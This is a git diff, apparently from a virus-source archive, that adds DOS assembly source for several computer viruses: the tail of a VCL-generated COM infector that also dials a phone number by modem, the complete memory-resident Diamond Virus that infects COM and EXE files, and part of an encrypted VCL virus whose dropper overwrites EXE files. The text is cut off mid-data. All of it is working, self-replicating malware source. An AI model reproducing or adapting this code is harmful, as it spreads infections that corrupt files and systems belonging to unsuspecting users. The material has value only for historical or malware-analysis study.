+tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + mov cx,0004h ; Do 4 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_hour + cmp ax,0004h ; Did the function return 4? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + xor dx,dx ; Clear DX + call serial_string + lea si,[di + data01] ; SI points to data + mov dx,0001h ; Second argument is 1 + call serial_string + lea si,[di + data02] ; SI points to data + mov dx,0002h ; Second argument is 2 + call serial_string + lea si,[di + data03] ; SI points to data + mov dx,0003h ; Second argument is 3 + call serial_string +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +serial_string proc near + mov ax,0000000001000011b ; BIOS init. serial port + int 014h ; (300 baud, N, 8, 1) +serial_loop: mov ah,1 ; BIOS send character function + lodsb ; Load next character into AL + or al,al ; Is it a NULL? + je serial_done ; If so then exit + int 014h ; Transmit the character + jmp short serial_loop ; Loop until string terminates +serial_done: + ret ; Return to caller +serial_string endp + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +data00 db "AT&FM0L0DT19008201110",13,10,0 + +data01 db "AT&FM0L0DT19008201110",13,10,0 + +data02 db "AT&FM0L0DT19008201110",13,10,0 + +data03 db "AT&FM0L0DT19008201110",13,10,0 + + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/d/DIAMOND.ASM b/d/DIAMOND.ASM new file mode 100755 index 0000000..9e64e7e --- /dev/null +++ b/d/DIAMOND.ASM @@ -0,0 +1,534 @@ + +; The Diamond Virus +; +; Version 2.10 +; +; also known as: +; V1024, V651, The EGN Virus +; +; Basic release: 5-Aug-1989 +; Last patch: 5-May-1990 +; +; COPYRIGHT: +; +; This program is (c) Copyright 1989,1990 Damage, Inc. +; Permission is granted to distribute this source provided the tittle page is +; preserved. +; Any fee can be charged for distribution of this source, however, Damage, Inc. +; distributes it freely. +; You are specially prohibited to use this program for military purposes. +; Damage, Inc. is not liable for any kind of damages resulting from the use of +; or the inability to use this software. +; +; To assemble this program use Turbo Assembler 1.0 + + .radix 16 + .model tiny + .code +code_len = top_code-main_entry +data_len = top_data-top_code +main_entry: + call locate_address +gen_count dw 0 +locate_address: + xchg ax,bp + cld + pop bx + inc word ptr cs:[bx] + mov ax,0d5aa + int 21 + cmp ax,2a03 + jz all_done + mov ax,sp + inc ax + mov cl,4 + shr ax,cl + inc ax + mov dx,ss + add ax,dx + mov dx,ds + dec dx + mov es,dx + xor di,di + mov cx,(top_data-main_entry-1)/10+1 + mov dx,[di+2] + sub dx,cx + cmp dx,ax + jc all_done + cli + sub es:[di+3],cx + mov [di+2],dx + mov es,dx + lea si,[bx+main_entry-gen_count] + mov cx,top_code-main_entry + rep + db 2e + movsb + push ds + mov ds,cx + mov si,20 + lea di,[di+old_vector-top_code] + org $-1 + mov ax,offset dos_handler + xchg ax,[si+64] + stosw + mov ax,es + xchg ax,[si+66] + stosw + mov ax,offset time_handler + xchg ax,[si] + stosw + xchg ax,dx + xchg ax,[si+2] + stosw + mov ax,24 + stosw + pop ds + push ds + pop es + sti +all_done: + lea si,[bx+exe_header-gen_count] + db 2e + lodsw + cmp ax,'ZM' + jz exit_exe + mov di,100 + push di + stosw + movsb + xchg ax,bp + ret +exit_exe: + mov dx,ds + add dx,10 + add cs:[si+return_address+2-exe_header-2],dx + org $-1 + add dx,cs:[si+stack_offset+2-exe_header-2] + org $-1 + mov ss,dx + mov sp,cs:[si+stack_offset-exe_header-2] + org $-1 + xchg ax,bp + jmp dword ptr cs:[si+return_address-exe_header-2] + org $-1 +infect: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,3f + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov di,offset exe_header + les ax,[di+ss_offset-exe_header] + org $-1 + mov [di+stack_offset-exe_header],es + org $-1 + mov [di+stack_offset+2-exe_header],ax + org $-1 + les ax,[di+ip_offset-exe_header] + org $-1 + mov [di+return_address-exe_header],ax + org $-1 + mov [di+return_address+2-exe_header],es + org $-1 + mov dx,cx + mov ax,4202 + int 21 + jc do_exit + mov [di+file_size-exe_header],ax + org $-1 + mov [di+file_size+2-exe_header],dx + org $-1 + mov cx,code_len + cmp ax,cx + sbb dx,0 + jc do_exit + xor dx,dx + mov si,'ZM' + cmp si,[di] + jz do_put_image + cmp [di],'MZ' + jz do_put_image + cmp ax,0fe00-code_len + jc put_image +go_error: + stc +do_exit: + ret +do_put_image: + cmp dx,[di+max_size-exe_header] + org $-1 + jz go_error + mov [di],si +put_image: + mov ah,40 + int 21 + jc do_exit + sub cx,ax + jnz go_error + mov dx,cx + mov ax,4200 + int 21 + jc do_exit + mov ax,[di+file_size-exe_header] + org $-1 + cmp [di],'ZM' + jnz com_file + mov dx,[di+file_size-exe_header+2] + org $-1 + mov cx,4 + push di + mov si,[di+header_size-exe_header] + org $-1 + xor di,di +shift_size: + shl si,1 + rcl di,1 + loop shift_size + sub ax,si + sbb dx,di + pop di + mov cl,0c + shl dx,cl + mov [di+ip_offset-exe_header],ax + org $-1 + mov [di+cs_offset-exe_header],dx + org $-1 + add dx,(code_len+data_len+100-1)/10+1 + org $-1 + mov [di+sp_offset-exe_header],ax + org $-1 + mov [di+ss_offset-exe_header],dx + org $-1 + add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1 + org $-2 + mov ax,[di+min_size-exe_header] + org $-1 + cmp ax,[di+max_size-exe_header] + org $-1 + jc adjust_size + mov [di+max_size-exe_header],ax + org $-1 +adjust_size: + mov ax,[di+last_page-exe_header] + org $-1 + add ax,code_len + push ax + and ah,1 + mov [di+last_page-exe_header],ax + org $-1 + pop ax + mov cl,9 + shr ax,cl + add [di+page_count-exe_header],ax + org $-1 + jmp short put_header +com_file: + sub ax,3 + mov byte ptr [di],0e9 + mov [di+1],ax +put_header: + mov dx,offset exe_header + mov cx,top_header-exe_header + mov ah,40 + int 21 + jc error + cmp ax,cx + jz reset +error: + stc +reset: + ret +find_file: + pushf + push cs + call calldos + test al,al + jnz cant_find + push ax + push bx + push es + mov ah,51 + int 21 + mov es,bx + cmp bx,es:[16] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2f + int 21 + pop ax + inc al + jnz fcb_standard + add bx,7 +fcb_standard: + mov ax,es:[bx+17] + and ax,1f + xor al,1e + jnz not_infected + and byte ptr es:[bx+17],0e0 + sub es:[bx+1dh],code_len + sbb es:[bx+1f],ax +not_infected: + pop es + pop bx + pop ax +cant_find: + iret +dos_handler: + cmp ah,4bh + jz exec + cmp ah,11 + jz find_file + cmp ah,12 + jz find_file + cmp ax,0d5aa + jnz calldos + not ax +fail: + mov al,3 + iret +exec: + cmp al,2 + jnc calldos + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + mov ax,3524 + int 21 + push es + push bx + mov ah,25 + push ax + push ds + push dx + push cs + pop ds + mov dx,offset fail + int 21 + pop dx + pop ds + mov ax,4300 + int 21 + jc exit + test cl,1 + jz open + dec cx + mov ax,4301 + int 21 +open: + mov ax,3d02 + int 21 + jc exit + xchg ax,bx + mov ax,5700 + int 21 + jc close + mov al,cl + or cl,1f + dec cx + xor al,cl + jz close + push cs + pop ds + push cx + push dx + call infect + pop dx + pop cx + jc close + mov ax,5701 + int 21 +close: + mov ah,3e + int 21 +exit: + pop ax + pop dx + pop ds + int 21 + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +calldos: + jmp cs:[old_vector] + .radix 10 +adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156 + dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478 + dw 2480,2482,2640 +diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322 + dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164 + dw 324 +valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844 + dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820 + dw 2820,2820,2308 +xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162 + dw -316,324,-156,164 + .radix 16 +time_handler: + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + push cs + pop ds + cld + mov dx,3da + mov cx,19 + mov si,offset count + mov ax,[si] + test ah,ah + jnz make_move + mov al,ah + mov es,ax + cmp al,es:[46dh] + jnz exit_timer + mov ah,0f + int 10 + cmp al,2 + jz init_diamond + cmp al,3 + jnz exit_timer +init_diamond: + inc byte ptr [si+1] + sub bl,bl + add bh,0b8 + mov [si+2],bx + mov es,bx +wait_snow: + in al,dx + test al,8 + jz wait_snow + mov si,offset valtbl +build_diamond: + mov di,[si+adrtbl-valtbl] + movsw + loop build_diamond +exit_timer: + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp cs:[old_timer] +count_down: + dec byte ptr [si] + jmp exit_timer +make_move: + test al,al + jnz count_down + inc byte ptr [si] + mov si,offset adrtbl +make_step: + push cx + push cs + pop es + lodsw + mov bx,ax + sub ax,140 + cmp ax,0d20 + jc no_xlat + test ax,ax + mov ax,[si+diftbl-adrtbl-2] + jns test_xlat + test ax,ax + js do_xlat + jmp short no_xlat +test_xlat: + test ax,ax + js no_xlat +do_xlat: + mov di,offset xlatbl + mov cx,10 + repnz scasw + dec di + dec di + xor di,2 + mov ax,[di] + mov [si+diftbl-adrtbl-2],ax +no_xlat: + mov ax,[si-2] + add ax,[si+diftbl-adrtbl-2] + mov [si-2],ax + mov cx,19 + mov di,offset adrtbl +lookup: + jcxz looked_up + repnz scasw + jnz looked_up + cmp si,di + jz lookup + mov [si-2],bx + mov ax,[si+diftbl-adrtbl-2] + xchg ax,[di+diftbl-adrtbl-2] + mov [si+diftbl-adrtbl-2],ax + jmp lookup +looked_up: + mov es,[homeadr] + mov di,bx + xor bx,bx + call out_char + mov di,[si-2] + mov bx,[si+valtbl-adrtbl-2] + call out_char + pop cx + loop make_step + jmp exit_timer +out_char: + in al,dx + test al,1 + jnz out_char +check_snow: + in al,dx + test al,1 + jz check_snow + xchg ax,bx + stosw + ret +stack_offset dd ? +return_address dd ? + db '7106286813' +exe_header: int 20 +last_page: nop +top_code: + db ? +page_count dw ? + dw ? +header_size dw ? +min_size dw ? +max_size dw ? +ss_offset dw ? +sp_offset dw ? + dw ? +ip_offset dw ? +cs_offset dw ? +top_header: +file_size dd ? +old_vector dd ? +old_timer dd ? +count db ? +flag db ? +homeadr dw ? +top_data: + end + \ No newline at end of file diff --git a/d/DIARRH-B.ASM b/d/DIARRH-B.ASM new file mode 100755 index 0000000..fe2d79a --- /dev/null +++ b/d/DIARRH-B.ASM @@ -0,0 +1,452 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 254h + db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h + db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h + db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch + db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh + db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh + db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h + db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h + db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h + db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h + db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h + db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h + db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh + db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h + db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h + db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh + db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh + db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h + db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h + db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h + db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah + db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h + db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh + db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h + db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh + db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh + db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h + db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h + db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh + db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h + db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h + db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh + db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h + db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h + db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h + db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h + db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h + db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h + db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h + db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h + db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h + db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h + db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h + db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h + db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h + db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h + db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h + db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 